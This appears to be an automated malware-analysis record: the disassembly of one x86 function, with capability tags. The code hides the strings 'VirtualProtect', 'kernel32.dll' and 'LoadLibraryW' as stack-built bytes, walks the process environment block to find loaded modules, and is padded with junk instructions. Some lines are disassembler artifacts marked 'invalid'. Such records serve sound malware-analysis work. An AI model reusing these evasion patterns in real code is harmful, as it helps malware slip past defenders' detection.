Function at 0x41ec93
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jmp 0x41ec1e
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push esi
add esi, 0x48ed
pop esi
push esi
push ecx
add esp, 4
add esi, 0x11aca
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0x1206e
jmp 0x41ecb4
and byte [ecx], al
add byte [ecx + 0x13db8eb], al
add byte [ecx + 0x105b3cb], al
add byte [ecx + 0xb6b4eb], al
add byte [ebx - 0x75], bl
lea esi, [esp + edi*8]
invalid
inc dword [ebx - 0x7276f13f]
call 0x5841ec52
jmp 0x41ec75
pop edi
push ecx
add ecx, 0xd07a
pop ecx
push edx
and edx, 0x7df1
call 0x41ec93
add byte [edi], dh
inc ebx
dec edx
dec esp
cmp dword [edi + 0x4a], eax
cmp al, byte [ebx - 0x357efb3c]
or ah, bl
add byte [eax], al
pop edx
cmp dword [ebp - 0x3cc], 0
je 0x41ecaf
cmp dword [ebp - 0xa5c], 0
jne 0x41ecf5
push edx
push ecx
add esp, 4
and edx, 0x1488
xor edx, 0x7701
pop edx
push esi
push eax
add esp, 4
and esi, 0x16224
sub esi, 0x2b94
pop esi
push ecx
add ecx, 0xc908
or ecx, 0x1005
pop ecx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ecx
or ecx, 0x1658f
xor ecx, 0x10ecd
jmp 0x41ed12
pop ecx
push edi
push edx
add esp, 4
xor edi, 0x1648
and edi, 0x1008c
sub edi, 0x15ffd
sub edi, 0xdff1
pop edi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
push eax
add esp, 4
jmp 0x41ed67
or esi, 0x4825
jmp 0x41ed76
jmp 0x41ed7f
pop esi
push edx
sub edx, 0x4471
and edx, 0xfeff
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
push eax
add esp, 4
call 0x41ee08
add byte [eax + 0x33], al
inc edx
dec eax
inc ebx
inc eax
add esp, 4
sub eax, 0x89f2
and eax, 0x611
pop eax
push esi
jmp 0x41ee22
and esi, 0x86d4
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push esi
add esp, 4
or ebx, 0x12543
pop ebx
push ecx
add ecx, 0x12e5
or ecx, 0x3232
sub ecx, 0x15bea
pop ecx
push ecx
push esi
add esp, 4
and ecx, 0xe8a9
and ecx, 0x934b
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x41ee9a
mov dword [ebp - 0x2a8], 0
jmp 0x41f141
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
add eax, 0x25c8
and eax, 0x4481
or eax, 0xec96
jmp 0x41eec5
pop eax
push edx
push ecx
add esp, 4
jmp 0x41eed1
pop edx
push edi
push esi
add esp, 4
xor edi, 0xba1f
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x41eef6
mov dword [ebp - 0x2a8], 0
jmp 0x41f141
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push esi
push edi
add esp, 4
or esi, 0xe8c3
sub esi, 0x932d
pop esi
push edx
add edx, 0x835b
pop edx
push ecx
push edx
add esp, 4
and ecx, 0x16b2c
xor ecx, 0x122c9
or ecx, 0xa7d
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
or esi, 0x14fd0
pop esi
push esi
push ecx
add esp, 4
and esi, 0x22da
pop esi
push esi
jmp 0x41ef7b
or esi, 0xa6f
jmp 0x41ef89
or esi, 0x7a4e
pop esi
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edx
push ebx
add esp, 4
and edx, 0x2840
jmp 0x41eff7
pop edx
push ecx
push ebx
add esp, 4
xor ecx, 0x3103
or ecx, 0xff9b
call 0x41f015
add byte [0x4c4b4b4c], bh
xor eax, dword [ebx + 0xf5904c4]
mov bh, 0x45
enter 0xffffffffffffc085, 0x75
adc eax, 0xfc8db70f
std
invalid
push esi
add esi, 0x9c8d
xor esi, 0x1184
sub esi, 0x12df6
pop esi
push esi
push ebx
add esp, 4
jmp 0x41f161
pop esi
push eax
call 0x41f16f
add byte [ecx + 0x4d], cl
inc edi
inc edi
dec ebp
push eax
add esp, 4
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x41fa78
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
sub edx, 0x1834b
pop edx
push ecx
push edx
add esp, 4
add ecx, 0x5600
call 0x41f238
add byte [ebp + 0x32], cl
aas
dec ecx
xor al, 0x32
add esp, 4
call 0x41f247
add byte [ebp + 0x3b], al
cmp dword [ebx + 0x49], ecx
dec esi
add esp, 4
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edi
push ebx
add esp, 4
sub edi, 0xa597
add edi, 0x157e8
sub edi, 0x136eb
pop edi
push esi
push edx
add esp, 4
jmp 0x41f2f0
call 0x41f2fc
add byte [esi + 0x44], al
dec eax
inc ebx
dec ebp
cmp eax, 0x5e04c483
cmp dword [ebp - 0x1518], 0
jne 0x41f318
mov dword [ebp - 0x710], 0
jmp 0x41f5bf
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
invalid
invalid
test al, 0xf3